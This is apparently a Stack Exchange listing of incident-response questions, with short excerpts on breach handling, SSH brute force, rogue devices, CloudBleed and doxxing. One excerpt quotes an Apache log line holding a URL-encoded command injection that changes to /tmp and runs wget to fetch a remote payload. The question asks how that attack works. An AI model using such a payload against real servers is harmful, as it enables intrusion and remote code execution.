Questions tagged [incident-response]

The art of responding to incidents in an organized and thoughtful manner.

Filter by
Sorted by
Tagged with
6
votes
1answer
366 views

What are the most valuable information when handling an IT security event/incident?

I'm currently looking into reporting processes in information security and I was wondering what kind of information should be reported when an IT security event or incident occurs. The definitions of ...
6
votes
1answer
684 views

What are some options for a small company on a budget to maintain a bug bounty program? [closed]

I work for a B2B SaaS startup that doesn't have a lot of money (we're 6 people, 2 developers, have about 6 months of runway, and $25K monthly revenue, < 50 customers). Common advice that I've seen ...
0
votes
1answer
8k views

Is this event a security concern: Windows 10: Event 360, User Device Registration?

My computer just froze, and I ended up having to reboot. It appears Windows Defender was coming up with a notification, but that froze as well. I was trying to see what went wrong in the event ...
0
votes
0answers
76 views

How user can change the tty information (related to CVE-2017-1000367)

Recently Red Hat fixed an important vulnerability in sudo: https://access.redhat.com/security/cve/cve-2017-1000367 From the description: A flaw was found in the way sudo parsed tty information ...
5
votes
2answers
619 views

Incident Responders: Can you give some examples of Incidents / types of incidents that are suitable for fully or partly automated response? [closed]

You setup security monitoring - either a full commercial SIEM/SOC or something home-cooked (e.g., rsyslog -> OSSIM / MozDef / Splunk / ...). You also setup some rules so that some event triage is ...
0
votes
2answers
73 views

Trusting your Incident Response Tool

Let's say you deploy an incident response tool on a server or endpoint such that you can connect to the system remotely if an incident occurs. In one of the worst cases you could have a rootkit, ...
2
votes
0answers
123 views

How to manually download an MMS without opening?

I'm looking into a potential Stagefright attack on an Android mobile (AOS 5.+). But since I'm not an expert on the subject, I fail to find a simple way to safely download the MMS for inspection. I was ...
0
votes
1answer
125 views

Unknown Requests on URL Web Filter Proxy

While trying to work on incident investigation, I am seeing continuous https requests from website cdn.syndication.twimg.com:443/widgets/timelines/paged/ callback=__twttr.callbacks.tl domain=www....
2
votes
1answer
262 views

Rogue device found on network

Whilst scanning my own network, I recently came across what seems like a rogue device. After running an nmap scan on it I found out it has four 'strange' ports open. 4096 (HTTP server) 13000 (Unknown,...
4
votes
1answer
277 views

How could this attack work?

I was browsing my apache logs, and I found the following request (which resulted in a 404): 106.75.130.216 - - [DD/MMM/YYYY:hh:mm:ss] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%...
0
votes
1answer
956 views

How to tell when a masquerade attack is occurring?

As I understand it, a masquerade attack is when an attacker acts as a registered/ authenticated user or entity in a system. There are obviously ways to prevent this, for example user education, don'...
1
vote
0answers
96 views

Malicious Actor with Physical Access to Encrypted Machine [duplicate]

Some background: My org is potentially involved in a legal dispute with a securities brokerage in a under-developed country with mediocre rule of law. The broker also is responsible for co-locating a ...
59
votes
1answer
4k views

What's the Impact of the CloudFlare Reverse Proxy Bug? (“#CloudBleed”)

In Project Zero #1139, it was disclosed that CloudFlare had a bug which disclosed uninitialized memory, leaking private data sent through them via SSL. What's the real impact?
3
votes
1answer
3k views

What is implication of ICMP timestamp responses?

I have tried to understand CVE-1999-0524. It is recommended to configure the firewall to prevent ICMP timestamp responses: https://access.redhat.com/security/cve/cve-1999-0524 What if I will not do it?...
25
votes
8answers
7k views

How to respond to a SSH brute force attack on a single VPS?

I logged onto my VPS this morning to find millions of failed login attempts for the root user and other users that don't even exist. I took the below measures to try and obfuscate the attackers ...
6
votes
2answers
333 views

How can intelligence services be so sure that Russia is the culprit? [closed]

Recently, US and non-US media has been publishing many articles regarding Russia being involved in the "Podesta-hack" or even accusing Putin of being directly responsible. For example: "Putin ...
8
votes
2answers
3k views

Should I delete my Yahoo! account?

NBC News is running this story: "Experts: Don't Delete Your Yahoo! Account". According to the story, if your account's email is linked to your online banking account, deleting your account will ...
2
votes
2answers
122 views

What's the next step if an organization doesn't respond to warnings of a potential data breach?

I've recently started getting a rash of junk mail to a particular email address. I give out unique addresses to all organizations I deal with, so I know exactly who has this address on file. The ...
2
votes
0answers
712 views

Extract Outlook email attachments from memory

Does anyone know if there is a way to extract Outlook emails with attachments from memory? What I have tried is to use volatility to dump PST files from memory and then use libpff to recover the ...
2
votes
2answers
3k views

Can SMS messages be traced to a specific phone after one month time has passed? [closed]

I have been cyber bullied by an unknown assailant. They sent several emails using a throwaway GMail account and then sent several SMS texts from two different phone numbers. The last number actually ...
1
vote
3answers
6k views

What is the difference between artifact and evidence

I am reading about the incident response. I cannot able to understand exactly the terms artifact and evidence. When i searched in google so many resources are using these terms generally. How can i ...
0
votes
1answer
97 views

How should I detect and respond to bad actors who perform SQL injections?

SQL Azure has a logic component called Threat Detection. I assume it looks for SQL Injection, but also evidence of dangerous commands like sp_exec. I would like to expand that scope, and also ...
3
votes
3answers
169 views

BlackHole Toolkit v2 JAVA Payload Stage Code Execution - What does this activity mean?! I cannot get hold of the owner of the server to check

An analyst came across this alert - BlackHole Toolkit v2 JAVA Payload Stage Code Execution from the Checkpoint IPS coming from a server, the event is recorded as a blocked outgoing connection attempt -...
2
votes
3answers
538 views

evidence collection in incident response

In incident response, should evidence collection be done before incident containment or after? If both, when evidence collection should be done before and when should it be done after (examples are ...
2
votes
1answer
289 views

Incident response terminology

Does incident response pertain to incidents that are currently occurring (ex: a host is spreading malware on the network) or that occurred (ex: an attacker dumped our database but we noticed it few ...
1
vote
0answers
137 views

Is it suspicious that mail server sends traffic to Tor Exit node?

I am monitoring the outbound traffic from mail server through IDS and recently I observed there were some traffic sending to Tor Exit nodes from mail server, for example, IP 46.183.85.124. After doing ...
2
votes
2answers
143 views

The impact of 'hacking insurance' on the information security industry

I recently attended a general IT conference and saw some interesting vendors of various products and services. One of them was a company providing hacking insurance, and they said that there were two ...
2
votes
1answer
148 views

Planning Incident Response / Business Continuity

An IT company has already most of the standard procedures / precautions in place to do day-to-day business in a secure way e.g. policies for users what to do and what not to do, technical solutions ...
5
votes
2answers
600 views

Server Compromised. Steps to determine further damage on the network? [closed]

So one of your servers is compromised. You determine this because you notice a weird process running (as root, unfortunately). No helpful information about this process from Googling around. First ...
2
votes
1answer
111 views

Accounts being accessed from X country

So recently I've been getting emails that X account has been accessed from Y country with an IP address that I obviously don't own. An example would be my Steam account which recently got accessed ...
161
votes
2answers
20k views

I found unknown PHP code on my server. How do I de-obfuscate the code?

We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on ...
4
votes
3answers
269 views

Need some recommendations on good IR hands-on training [closed]

Does anyone know if there is any good hands-on training for incident response and digital forensics, or certification I need to take in order to gain more hands-on experience? Thanks and any helpful ...
0
votes
1answer
54 views

Responding to a coordinated attack against financial transaction systems [closed]

Imagine a coordinated attack by a large and motivated hacking group, that results in a nation-level compromise of the financial systems we take for granted: credit card payments, accounts at the top ...
1
vote
2answers
2k views

glibc getaddrinfo (CVE-2015-7547) vulnerability: should I update glibc if I do not configure DNS?

Recently Googly discover glibc getaddrinfo (CVE-2015-7547) vulnerability: https://googleonlinesecurity.blogspot.co.il/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html We run our application on ...
2
votes
1answer
115 views

Response on targeted attacks against an individual

I'm now an aim for a targeted attack. Someone tries to gather information about me and tries to get access to my accounts. Some time before he/they've managed to succeed (got all the info from my ...
2
votes
3answers
12k views

How to analyze the netstat log for suspicious connections?

I found a question from here: http://www.activeresponse.org/20-questions-for-an-intrusion-analyst/ But not sure what its answer is. Here is the question and it asks me to find out all suspicious ...
4
votes
0answers
104 views

Detect malicious content on enourmous multi-site CMS [closed]

My Goal: My hope is to catch pages and content that would be flagged by Google Safe Browsing or others like it, except more proactive than waiting for a crawl by Google or being added to a ...
-4
votes
1answer
97 views

sourcing harrassing texts [closed]

I live in the US. Someone is texting harrassing messages to me. I have done a reverse lookup which dead-ends in a landline number. The number I have has been confirmed by my wireless Carrier. It ...
2
votes
1answer
738 views

Incident isolation and containment approach

In incident response, there are commonly two approaches to isolation and containment after a genuine incident is reported. Compromised systems are disabled or disconnected but operations carries on ...
34
votes
6answers
4k views

After getting doxxed, how can one protect personally identifiable information?

Doxing (publicly releasing private information about an individual, to make it easier to harass them) is becoming an increasingly popular tactic not just for hackivists and Anonymous, but also for ...
0
votes
1answer
64 views

Additional Protection Against DDoS

We have subscribed to an upstream ISP's protection service to protect against DDoS. I am thinking of developing a incident procedure in case my ISP's DDoS mitigation fails (highly unlikely right?). ...
7
votes
2answers
134 views

Have there been successful class action lawsuits due to infosec breaches?

Whenever there is a major security breach affecting consumers, often large costs are quoted (e.g. 35 million for TalkTalk). One reason given for these large costs is the potential for affected people ...
6
votes
1answer
6k views

How do I identify which PC made a suspicious DNS query?

Our IDS detected a suspicious DNS packet going to a Botnet (or similar). Since that DC is a recursive relay, how can we identify the client who made that request. (Windows DNS server)
150
votes
9answers
20k views

How do organizations check *what* has been hacked?

In the UK, the company TalkTalk was recently hacked. It was later discovered, after 'investigation' that the hack was not as serious as it could have been (and less than expected). I'm wondering: ...
1
vote
0answers
617 views

SSH attempt blocked now ECDSA keys changed

Last night I had an external IP tried to access my server over SSH. The attempt was blocked as it failed to authorise in the number of times and time limit that I'd specified. Doing a whois on the ip ...
4
votes
3answers
706 views

Gmail account hacked - what was it used for?

We use GMail for our business email, we are a small company. I do the mail administration for our domain, and I was recently alerted by an email from Google that a colleague's account had some ...
0
votes
1answer
265 views

Definition of security incident [closed]

What's a security incident in information security? Can an unsuccessful attack (blocked by an IPS for instance) or an attack without real impact (a port scan for instance) be considered a security ...
6
votes
1answer
392 views

Incident Response - Which logs are of most interest following a social engineered remote desktop attack

Unfortunately, someone in my family fell for a phone scam after data was leaked from TalkTalk. As a result, they allowed remote access to two computers and transferred money from their bank account to ...
0
votes
2answers
544 views

What is a “proof of concept” file to report security issues?

Last month I reported a security issue to Adobe through an email encrypted with PGP. I recieved the comfirmation email, but no response past that. I checked the "Alert us" page and it said that you ...
0
votes
1answer
60 views

Adobe PSIRT Average Response Time [closed]

Anyone have any experience in contacting the Adobe Product Security Incident Response Team (PSIRT)? I sent in an exploit that I found two weeks ago and I have not heard from them since. Would they ...